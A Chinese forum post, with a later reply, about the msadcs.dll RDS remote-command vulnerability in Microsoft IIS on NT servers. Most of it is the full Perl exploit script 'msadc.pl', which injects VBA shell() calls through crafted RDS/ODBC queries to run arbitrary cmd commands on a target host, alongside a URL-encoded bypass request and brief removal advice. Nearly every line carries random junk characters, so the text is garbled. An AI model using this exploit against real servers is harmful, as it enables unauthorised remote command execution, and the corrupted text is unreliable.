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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 0AZ")<^~7  
OGK}EI  
涉及程序: 8K:y\1  
Microsoft NT server ZA0mz 65  
o /j*d3  
描述:  6:b! F  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 /]K^ rw[  
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详细: ]^h]t~  
如果你没有时间读详细内容的话,就删除: ]V^iN=(_5  
c:\Program Files\Common Files\System\Msadc\msadcs.dll "W6uV!  
有关的安全问题就没有了。 ULs\+U  
OI|[roMK  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 e?0l"  
yA)/Q Yge  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。  _zY# U9  
关于利用ODBC远程漏洞的描述,请参看: ]{3)^axW;  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm tXNm$Cq.|  
fObg3S92  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看  7''??X  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ((H^2KJn  
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这里不再论述。 C'9Cr}cZ.  
@:+8?qcP  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: *=8JIs A>!  
@i 2E\}  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset "|EM;o  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! h;p>o75O  
T1ut"Zu  
94h]~GqNi  
#将下面这段保存为txt文件,然后: "perl -x 文件名" cr%"$1sY;  
>"^ O"E  
#!perl NP0\i1P>.?  
# 2^r <{0@n  
# MSADC/RDS 'usage' (aka exploit) script h}[-'>{  
# A 9( x  
# by rain.forest.puppy `#rL*;\uV  
# um jt]Gu[  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me qB5j;@ r  
# beta test and find errors! Ur9?Td'*>  
`95r0t0hh\  
use Socket; use Getopt::Std; NSxoF3  
getopts("e:vd:h:XR", \%args); 9Vg?{v!yn  
'=39+*6?  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; *w|:~g  
Q A< Rhv,  
if (!defined $args{h} && !defined $args{R}) { z6U\axO6  
print qq~ .!Oo|m`V@  
Usage: msadc.pl -h <host> { -d <delay> -X -v } P@Hs`=  
-h <host> = host you want to scan (ip or domain) =m!-m\B/  
-d <seconds> = delay between calls, default 1 second ?qP7Y nl  
-X = dump Index Server path table, if available 1a?!@g )  
-v = verbose '9laa=H%8  
-e = external dictionary file for step 5 $:8x(&+/@  
,kiv>{  
Or a -R will resume a command session /$i.0$L  
3-[q4R  
~; exit;} Bn^0^J-  
@ju@WY45$^  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 0@[$lv;OS  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} lG9bLiFY  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 6g2a[6G5  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); \9cbI3rGz  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} B\=L3eL<D  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } q_Q/3rh  
lsJSYJG&  
if (!defined $args{R}){ $ret = &has_msadc; oQLq&zRH`f  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Sxnpq Vbk  
2V"B:X\  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" {ME2ImD  
. "cmd /c "; O@tU.5*$5  
$in=<STDIN>; chomp $in; zkt+7,vI  
$command="cmd /c " . $in ; aAZZ8V  
"~#3&3HVS  
if (defined $args{R}) {&load; exit;} &4{KV.  
#pT"BSz]  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; q]\:P.x!>  
&try_btcustmr; $3W;=Id=+  
p2Z?T}fa}&  
print "\nStep 2: Trying to make our own DSN..."; <C_jF  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ^?-:'<4q$  
TCN8a/@z  
print "\nStep 3: Trying known DSNs..."; !-z'2B*:^  
&known_dsn; ?L5zC+c!  
tGD6AI1"I  
print "\nStep 4: Trying known .mdbs..."; |!1Y*|Q%s  
&known_mdb; ,MdV;j ~"'  
")_|69 VX  
if (defined $args{e}){ .sxcCrQE  
print "\nStep 5: Trying dictionary of DSN names..."; ",p;Sd  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } hP=WFD&  
ZEXc%-M  
print "Sorry Charley...maybe next time?\n"; i#&z2h-b  
exit; %"kPvI3Y  
5<iV2Hx  
############################################################################## m-%E-nr  
~t@cO.c  
sub sendraw { # ripped and modded from whisker :<ka3<0%  
sleep($delay); # it's a DoS on the server! At least on mine... A|CmlAW~^  
my ($pstr)=@_; 5 z~1Dw  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || N@;?CKU  
die("Socket problems\n"); T!-\@PB !  
if(connect(S,pack "SnA4x8",2,80,$target)){ 8J*"%C$qe  
select(S); $|=1; Av @b!iw+  
print $pstr; my @in=<S>; gMv.V{vD  
select(STDOUT); close(S); .0p0_f=  
return @in; )) Zf|86N  
} else { die("Can't connect...\n"); }} O1rvaOlr  
n+! AnKq  
############################################################################## /Y*WBTV'  
Zvhsyz|  
sub make_header { # make the HTTP request )r';lGh2#  
my $msadc=<<EOT PvR6 z0  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 T\:4qETQF]  
User-Agent: ACTIVEDATA _G_Cj{w  
Host: $ip  |$+3a  
Content-Length: $clen Q0$8j-1I  
Connection: Keep-Alive E^Y#&skXp3  
Bm.afsM;  
ADCClientVersion:01.06 [l:x'_y  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 |D'4uN8\  
f'8kish  
--!ADM!ROX!YOUR!WORLD! ZjT,pOSyb  
Content-Type: application/x-varg h,QKd>4:CF  
Content-Length: $reqlen |o,YCzy|5  
TbA}BFT`  
EOT .=U#eHBdAQ  
; $msadc=~s/\n/\r\n/g; J%8(kWQ|  
return $msadc;} y@]_+2Vo  
p$SX  
############################################################################## W"724fwu&  
jnd[6v=C7-  
sub make_req { # make the RDS request O[# 27_dH  
my ($switch, $p1, $p2)=@_; X$%'  
my $req=""; my $t1, $t2, $query, $dsn; 01[NX? qEa  
kSC}aN'  
if ($switch==1){ # this is the btcustmr.mdb query | H!28h  
$query="Select * from Customers where City=" . make_shell(); w'L\?pI  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 832v"k CD  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} })uGRvz  
7}1~%:6  
elsif ($switch==2){ # this is general make table query =nz}XH%=  
$query="create table AZZ (B int, C varchar(10))"; >O1[:%Z1  
$dsn="$p1";} m[i+knYX  
z25lZI" X`  
elsif ($switch==3){ # this is general exploit table query 0YaA`  
$query="select * from AZZ where C=" . make_shell(); W egtyO  
$dsn="$p1";} "b?v?V0%C  
.#wqXRd  
elsif ($switch==4){ # attempt to hork file info from index server U93}-){m  
$query="select path from scope()"; )S`jFQ1  
$dsn="Provider=MSIDXS;";} Tfh 2.  
t c[n&X  
elsif ($switch==5){ # bad query jATI&oX  
$query="select"; ttXXy3G#  
$dsn="$p1";} .id)VF-l  
L93l0eEt  
$t1= make_unicode($query); * +'x~a  
$t2= make_unicode($dsn); V7#Ffi  
$req = "\x02\x00\x03\x00"; (]_1  
$req.= "\x08\x00" . pack ("S1", length($t1)); qNI, 62  
$req.= "\x00\x00" . $t1 ; HfcL%b%G8  
$req.= "\x08\x00" . pack ("S1", length($t2)); 5?p2%KQ  
$req.= "\x00\x00" . $t2 ; ANvRi+ _  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; C(S'#cm  
return $req;} Jm|+-F@I  
?!wgH9?8  
############################################################################## x??pBhJH  
Jwj%_<  
sub make_shell { # this makes the shell() statement }>)@WL:q  
return "'|shell(\"$command\")|'";} <$6QDfa#  
gWrgnlq  
############################################################################## n$U#:aQE  
1h>yu3O  
sub make_unicode { # quick little function to convert to unicode 3VI4X  
my ($in)=@_; my $out; DKfE.p)  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } iQ4);du  
return $out;} 7uT:b!^f[  
;GVV~.7/  
############################################################################## .U"8mP=&  
:,WtR  
sub rdo_success { # checks for RDO return success (this is kludge) iZPCNS"  
my (@in) = @_; my $base=content_start(@in); 'D6T8B4  
if($in[$base]=~/multipart\/mixed/){ DjI3?NN  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} <WjF*x p  
return 0;} HODz*pI  
jAy^J(+  
############################################################################## ? 9! Z<H  
BJgW,huLy  
sub make_dsn { # this makes a DSN for us 6&DX] [G  
my @drives=("c","d","e","f"); Au{<hQ =  
print "\nMaking DSN: "; N;Dni#tQ`  
foreach $drive (@drives) { W3Dc r@Dy  
print "$drive: "; RG3l.jL  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . MS>t_C(  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" i:rFQ8 I  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); #?*WPq  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; \\{J'j>{f  
return 0 if $2 eq "404"; # not found/doesn't exist {~h*2n  
if($2 eq "200") { {88gW\GL  
foreach $line (@results) { j=*l$RG  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} [cTe54n  
} return 0;}  %ObLWH'  
-RO7 'm0  
############################################################################## j<2m,~k`V  
3uZJ.Fb  
sub verify_exists { 'eo KZX+  
my ($page)=@_; nB%;S  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Q:|l`*.R  
return $results[0];} Pt@%4 :&-h  
OkCQ?]  
############################################################################## >$ NDv  
q(zJ%Gv)  
sub try_btcustmr { Ypeiy `.  
my @drives=("c","d","e","f"); {r> .G7P6  
my @dirs=("winnt","winnt35","winnt351","win","windows"); PqyA1  
s@z}YH  
foreach $dir (@dirs) { Xcrk;!IB?  
print "$dir -> "; # fun status so you can see progress ;w6>"O$a  
foreach $drive (@drives) { s[K^9wz  
print "$drive: "; # ditto  ] GHt"  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 4Sm]>%F':  
$reqlenlen=length( "$reqlen" ); uKz,SqX  
$clen= 206 + $reqlenlen + $reqlen; 3' ~gvi I  
#l4)HV  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 'WI^nZM  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} !@x+q)2  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} b+6"#/s  
JOb*-q|y  
##############################################################################  U3izvM  
o]ag"Q  
sub odbc_error {  6\u!E~zy  
my (@in)=@_; my $base; EyI}{6~F  
my $base = content_start(@in); v?0r`<Mn  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 1=|7mehL%  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  ],ZzI  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Tx 1 vL  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~%/Wupf  
return $in[$base+4].$in[$base+5].$in[$base+6];} :d0Y%vl  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; J0 k  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 4EXB;[ ]  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 'qArf   
;Og&FFs'  
############################################################################## 4<lQwV6=  
{ F'Kk\f%:  
sub verbose { !PMU O\y  
my ($in)=@_; 6oinidB[l  
return if !$verbose; iJv48#'ii  
print STDOUT "\n$in\n";} '`|A I:L  
IcrL   
############################################################################## @)>D))+  
O<j PGU  
sub save { hKNY+S})g  
my ($p1, $p2, $p3, $p4)=@_; 4g}FB+[u  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ="%W2  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; )i>[M"7  
close OUT;} QN>7~=`  
FG%j {_Ez  
############################################################################## sBK <zR  
aup6?'G;  
sub load { 0Rz(|jlbS  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; g7CXlT0Q6  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); KECElK3uj  
@p=<IN>; close(IN); _Cy:]2o  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); HPQ/~0$  
$target= inet_aton($ip) || die("inet_aton problems"); sVoW =4V8  
print "Resuming to $ip ..."; <&pKc6+{  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ~P-*}q2J  
if($p[1]==1) { H]\Zn%.#  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; F_ 7H!F  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; m ,>  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); [4+q+  
if (rdo_success(@results)){print "Success!\n";} 6  P`)%zj  
else { print "failed\n"; verbose(odbc_error(@results));}} $ P: O/O=>  
elsif ($p[1]==3){ bm}6{28R  
if(run_query("$p[3]")){ ~|Z'l%<Os  
print "Success!\n";} else { print "failed\n"; }} 7OVbP%n)d2  
elsif ($p[1]==4){ td{O}\s7D  
if(run_query($drvst . "$p[3]")){ V5D2\n3A  
print "Success!\n"; } else { print "failed\n"; }} 2UP,Tgn..  
exit;} i2Jq|9,g  
p|XAlia  
############################################################################## HFo-4"  
OQ4c#V?  
sub create_table { !OcENV  
my ($in)=@_; b!$}ma;B  
$reqlen=length( make_req(2,$in,"") ) - 28; U5/qf8)yO  
$reqlenlen=length( "$reqlen" ); Uh|>Skic4  
$clen= 206 + $reqlenlen + $reqlen; 6'OO-o  
my @results=sendraw(make_header() . make_req(2,$in,"")); kGN||h  
return 1 if rdo_success(@results); WW "i  
my $temp= odbc_error(@results); verbose($temp); C:\(~D *GS  
return 1 if $temp=~/Table 'AZZ' already exists/; 8v y G*UK  
return 0;} Zv qn%K],  
beZ(o?uK  
############################################################################## |G=[5e^s[  
AxCI 0  
sub known_dsn { 59B&2861  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go lQ*eH10H  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", L>Jd7; =  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", G+"8l!dC?  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); We`'>'W0  
R[A5JQ$[  
foreach $dSn (@dsns) { X;fy\HaU  
print "."; 3@5p"X  
next if (!is_access("DSN=$dSn")); iRV ;Fks  
if(create_table("DSN=$dSn")){ `1p 8C%  
print "$dSn successful\n"; fk5XvL  
if(run_query("DSN=$dSn")){ K]N~~*`%`  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 's@MQ! *  
print "Something's borked. Use verbose next time\n";}}} print "\n";} OM9 6`  
r(uP!n1+  
############################################################################## ]1fZupM^6  
HdQj?f3  
sub is_access { aIvBY78o  
my ($in)=@_; 3n(*E_n  
$reqlen=length( make_req(5,$in,"") ) - 28; T!( 4QRh[  
$reqlenlen=length( "$reqlen" ); rm+v(&  
$clen= 206 + $reqlenlen + $reqlen; N&;\PfG  
my @results=sendraw(make_header() . make_req(5,$in,"")); rFXSO=P?Z  
my $temp= odbc_error(@results); {y);vHf$  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); (Nz]h:}r  
return 0;} eihZp  
t*+! n.p  
############################################################################## Uu2N9.5  
jmW^`%;7  
sub run_query { -qn[HXq  
my ($in)=@_; G.VYp6)5  
$reqlen=length( make_req(3,$in,"") ) - 28; 'yT`ef  
$reqlenlen=length( "$reqlen" ); mrnxI#6  
$clen= 206 + $reqlenlen + $reqlen; DJ:38_F  
my @results=sendraw(make_header() . make_req(3,$in,"")); g.*&BXZi  
return 1 if rdo_success(@results); u 2lX d'  
my $temp= odbc_error(@results); verbose($temp); T8q[7Zn  
return 0;} $y6rvQ 2>S  
75(W(V(q  
############################################################################## ??TdrTS  
$5/\Z  
sub known_mdb { Fg@ ACv'@  
my @drives=("c","d","e","f","g"); , ,{6m d  
my @dirs=("winnt","winnt35","winnt351","win","windows"); UT-ewXh  
my $dir, $drive, $mdb; Dh8(HiXf:  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; R"Y?iZed3  
lQr6;D}+  
# this is sparse, because I don't know of many IuKnM`X  
my @sysmdbs=( "\\catroot\\icatalog.mdb", x[}06k'  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", G"fdu(.@  
"\\system32\\certmdb.mdb", O2@" w23  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 8 DL hk  
![q }BU4  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", %g-0O#8}  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Rf8:+d[Jj|  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 7BrV<)ih{*  
"\\cfusion\\cfapps\\security\\realm_.mdb", hwZ6 .  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", toN  
"\\cfusion\\database\\cfexamples.mdb", z qO$  
"\\cfusion\\database\\cfsnippets.mdb", ^OjvL6 A/p  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ${0%tCE  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", !a)s`  
"\\cfusion\\brighttiger\\database\\cleam.mdb", +QQ YPEx+  
"\\cfusion\\database\\smpolicy.mdb", /9TL&_A-T  
"\\cfusion\\database\cypress.mdb", @C<d2f|8  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ?V6 %>RU  
"\\website\\cgi-win\\dbsample.mdb", V[To,f  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ][ rTQt m  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" wC(XRqlE  
); #these are just XzlIW&"uC  
foreach $drive (@drives) { uJm#{[  
foreach $dir (@dirs){ U !.~XT=  
foreach $mdb (@sysmdbs) { g!.Ut:8L9  
print "."; ,Os7T 1>  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ j& <tdORT  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; hQP6@KIe)  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ `Q+i-y  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; SAQs {M  
} else { print "Something's borked. Use verbose next time\n"; }}}}} mC% %)F'Zf  
}^IwQm*i  
foreach $drive (@drives) { c-ttds  
foreach $mdb (@mdbs) { jaL$LJV  
print "."; s&Z35IM8|  
if(create_table($drv . $drive . $dir . $mdb)){ x$*E\/zi<!  
print "\n" . $drive . $dir . $mdb . " successful\n"; ./'; P <)  
if(run_query($drv . $drive . $dir . $mdb)){ Vx}Yl&*D  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; [U% .Gi  
} else { print "Something's borked. Use verbose next time\n"; }}}} y4 dp1<t%  
} 3"f)*w7d  
Z={D0`  
############################################################################## @*bvMEE  
(QA-"9v#i,  
sub hork_idx { g&|4  
print "\nAttempting to dump Index Server tables...\n"; 3$MYS^D  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; #>MO]  
$reqlen=length( make_req(4,"","") ) - 28; v&k>0lV, ^  
$reqlenlen=length( "$reqlen" ); 9k(*?!\;  
$clen= 206 + $reqlenlen + $reqlen; 3"HGEUqA  
my @results=sendraw2(make_header() . make_req(4,"","")); "sz.v<F0:s  
if (rdo_success(@results)){ gcQ.  YP9  
my $max=@results; my $c; my %d; `wP/Zp{Hy  
for($c=19; $c<$max; $c++){ }R7sj  
$results[$c]=~s/\x00//g; !G+n"-h9'  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; }<6oFUZ  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Usa{J:  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; g5lmUKlQ$0  
$d{"$1$2"}="";} g,A.Y,})  
foreach $c (keys %d){ print "$c\n"; } 6ctHL<^  
} else {print "Index server doesn't seem to be installed.\n"; }} Pmqx ;  
^4y(pcD  
############################################################################## 5KL9$J9k  
%RCl+hOP.h  
sub dsn_dict { }:,o Y<  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); < fojX\}3  
while(<IN>){ NB|RZf9M  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 5`1(}  
next if (!is_access("DSN=$dSn")); vjOG?-  
if(create_table("DSN=$dSn")){ VEFwqB1l  
print "$dSn successful\n"; \;3B?8wbIl  
if(run_query("DSN=$dSn")){ TnbGO;  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { KdBq@  
print "Something's borked. Use verbose next time\n";}}} h|(Z XCH  
print "\n"; close(IN);} oTplxF1  
t 1Ir4  
############################################################################## 3{2^G@j  
b0~H>cnA  
sub sendraw2 { # ripped and modded from whisker .IW_DM-  
sleep($delay); # it's a DoS on the server! At least on mine... RTgQ#<W8  
my ($pstr)=@_; NB!'u) lFD  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || t%]^5<+X58  
die("Socket problems\n"); (<d&BV-"  
if(connect(S,pack "SnA4x8",2,80,$target)){ =Do3#Xe2V  
print "Connected. Getting data"; 2$j Ot}  
open(OUT,">raw.out"); my @in; cuV8#: i  
select(S); $|=1; print $pstr; SIaUrC  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} LK   
close(OUT); select(STDOUT); close(S); return @in; YJ$Vn >6Z  
} else { die("Can't connect...\n"); }} A-Q{*{^#  
yL.PGF1(  
############################################################################## !i~x"1  
Q+u#?['  
sub content_start { # this will take in the server headers > hDsm;,/  
my (@in)=@_; my $c; tpNtoqg_$  
for ($c=1;$c<500;$c++) { cKi^C  
if($in[$c] =~/^\x0d\x0a/){ DJD]aI  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } LEn=dU  
else { return $c+1; }}} 'Ec:l(2Ec  
return -1;} # it should never get here actually 7 BnenHD  
.%J?T5D  
############################################################################## .@8m\  
qmue!Fv#g  
sub funky { ;mo\ yW1  
my (@in)=@_; my $error=odbc_error(@in); ATMogxh  
if($error=~/ADO could not find the specified provider/){ r:WgjjA%  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; #iR yjD  
exit;} XRz%KVysp  
if($error=~/A Handler is required/){ n ]6 0  
print "\nServer has custom handler filters (they most likely are patched)\n"; 9znx1AsN  
exit;} C\a:eSgaC  
if($error=~/specified Handler has denied Access/){ ^M"=A}h  
print "\nServer has custom handler filters (they most likely are patched)\n"; evg 7d  
exit;}} MWn L#!  
aCH:#|B  
############################################################################## VM2@{V/=~  
QGbD=c7  
sub has_msadc { S$lmEJ_  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); \yX !P1  
my $base=content_start(@results); _r?;lnWx@  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); u7Y'3x,`  
return 0;} fN"oa>X  
O"J.k&C<,  
######################## [b k&Nd[  
LD~uI  
i9EMi_%  
解决方案: Hdq/E>u  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll vN%j-'D\A4  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 hPeKQwzC0  
N;ecT@U g  
拿出来充数 哈哈
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